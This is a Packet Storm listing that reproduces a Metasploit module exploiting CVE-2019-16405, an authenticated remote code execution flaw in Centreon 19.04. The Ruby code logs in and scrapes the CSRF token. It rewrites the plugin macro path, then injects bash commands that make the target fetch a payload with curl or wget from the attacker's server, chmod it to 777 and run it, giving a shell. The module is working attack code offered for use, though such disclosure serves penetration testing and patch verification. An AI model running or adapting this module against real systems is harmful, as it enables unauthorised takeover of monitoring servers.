exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Centreon 19.04 Remote Code Execution

Centreon 19.04 Remote Code Execution
Posted Jan 20, 2020
Authored by enjloezz, TheCyberGeek | Site metasploit.com

This Metasploit module exploits an authenticated remote code execution vulnerability in Centreon version 19.04.

tags | exploit, remote, code execution
advisories | CVE-2019-16405
SHA-256 | 510a1c2d96045f19207e2336a64b219e4a23437cb33077b85cd5bbdb429d74d9

Centreon 19.04 Remote Code Execution

Change Mirror Download
####################################################################
# This module requires Metasploit: https://metasploit.com/download #
# Current source: https://github.com/rapid7/metasploit-framework #
####################################################################

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE

def initialize(info = {})
super(update_info(info,
"Name" => "Centreon Authenticated Macro Expression Location Setting Handler Code Execution",
"Description" => %q{
Authenticated Remote Code Execution on Centreon Web Appliances.
Affected versions: =< 18.10, 19.04
By amending the Macros Expression's default directory to / we are able to execute system commands and obtain a shell as user Apache.
Vendor verified: 09/17/2019
Vendor patched: 10/16/2019
Public disclosure: 10/18/2019
},
"License" => MSF_LICENSE,
'Author' => [
'TheCyberGeek', # Discovery
'enjloezz' # Discovery and Metasploit Module
],
'References' =>
[
['URL','https://github.com/centreon/centreon/pull/7864'],
['CVE','2019-16405']
],
"Platform" => "linux",
"Targets" => [
["Centreon", {}],
],
"Stance" => Msf::Exploit::Stance::Aggressive,
"Privileged" => false,
"DisclosureDate" => "Oct 19 2019",
"DefaultOptions" => {
"SRVPORT" => 80,
},
"DefaultTarget" => 0
))

register_options(
[
OptString.new("TARGETURI", [true, "The URI of the Centreon Application", "/centreon"]),
OptString.new("USERNAME", [true, "The Username of the Centreon Application", "admin"]),
OptString.new("PASSWORD", [true, "The Password of the Centreon Application", ""]),
OptString.new("TARGETS", [true, "The method used to download shell from target (default is curl)", "curl"]),
OptInt.new("HTTPDELAY", [false, "Number of seconds the web server will wait before termination", 10]),
]
)
end

def exploit
begin
res = send_request_cgi(
"uri" => normalize_uri(target_uri.path, "index.php"),
"method" => "GET",
)
@phpsessid = res.get_cookies
/centreon_token\".*value=\"(?<token>.*?)\"/ =~ res.body

unless token
vprint_error("Couldn't get token, check your TARGETURI")
return
end
res = send_request_cgi!(
"uri" => normalize_uri(target_uri.path, "index.php"),
"method" => "POST",
"cookie" => @phpsessid,
"vars_post" => {
"useralias" => datastore["USERNAME"],
"password" => datastore["PASSWORD"],
"centreon_token" => token,
},
)
unless res.body.include? "You need to enable JavaScript to run this app"
fail_with Failure::NoAccess "Cannot login to Centreon"
end
print_good("Login Successful!")
res = send_request_cgi(
"uri" => normalize_uri(target_uri.path, "main.get.php"),
"method" => "GET",
"cookie" => @phpsessid,
"vars_get" => {
"p" => "60904",
"o" => "c",
"resource_id" => 1,
},
)
/centreon_token\".*value=\"(?<token>.*?)\"/ =~ res.body
res = send_request_cgi(
"uri" => normalize_uri(target_uri.path, "main.get.php"),
"vars_get" => {
"p" => "60904",
},
"method" => "POST",
"cookie" => @phpsessid,
"vars_post" => {
"resource_name": "$USER1$",
"resource_line": "/",
"instance_id": 1,
"resource_activate": 1,
"resource_comment": "Nagios Plugins Path",
"submitC": "Save",
"resource_id": 1,
"o": "c",
"initialValues": "" "a:0:{}" "",
"centreon_token": token
},
)
begin
Timeout.timeout(datastore["HTTPDELAY"]) { super }
rescue Timeout::Error
vprint_error("Server Timed Out...")
end
rescue ::Rex::ConnectionError
vprint_error("Connection error...")
end
end

def primer
@pl = generate_payload_exe
@path = service.resources.keys[0]
binding_ip = srvhost_addr

proto = ssl ? "https" : "http"
payload_uri = "#{proto}://#{binding_ip}:#{datastore["SRVPORT"]}/#{@path}"
send_payload(payload_uri)
end

def send_payload(payload_uri)
payload = "/bin/bash -c \"" + ( datastore["method"] == "curl" ? ("curl #{payload_uri} -o") : ("wget #{payload_uri} -O") ) + " /tmp/#{@path}\""
print_good("Sending Payload")
send_request_cgi(
"uri" => normalize_uri(target_uri.path, "main.get.php"),
"method" => "POST",
"cookie" => @phpsessid,
"vars_get" => { "p": "60801", "command_hostaddress": "", "command_example": "", "command_line": payload, "o": "p", "min": 1 },
)
end

def on_request_uri(cli, req)
print_good("#{peer} - Payload request received: #{req.uri}")
send_response(cli, @pl)
run_shell
stop_service
end

def run_shell
print_good("Setting permissions for the payload")
res = send_request_cgi(
"uri" => normalize_uri(target_uri.path, "main.get.php"),
"method" => "POST",
"cookie" => @phpsessid,
"vars_get" => {
"p": "60801",
"command_hostaddress": "",
"command_example": "",
"command_line": "/bin/bash -c \"chmod 777 /tmp/#{@path}\"",
"o": "p",
"min": 1,
},
)

print_good("Executing Payload")
res = send_request_cgi(
"uri" => normalize_uri(target_uri.path, "main.get.php"),
"method" => "POST",
"cookie" => @phpsessid,
"vars_get" => {
"p": "60801",
"command_hostaddress": "",
"command_example": "",
"command_line": "/tmp/#{@path}",
"o": "p",
"min": 1,
},
)
end
end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close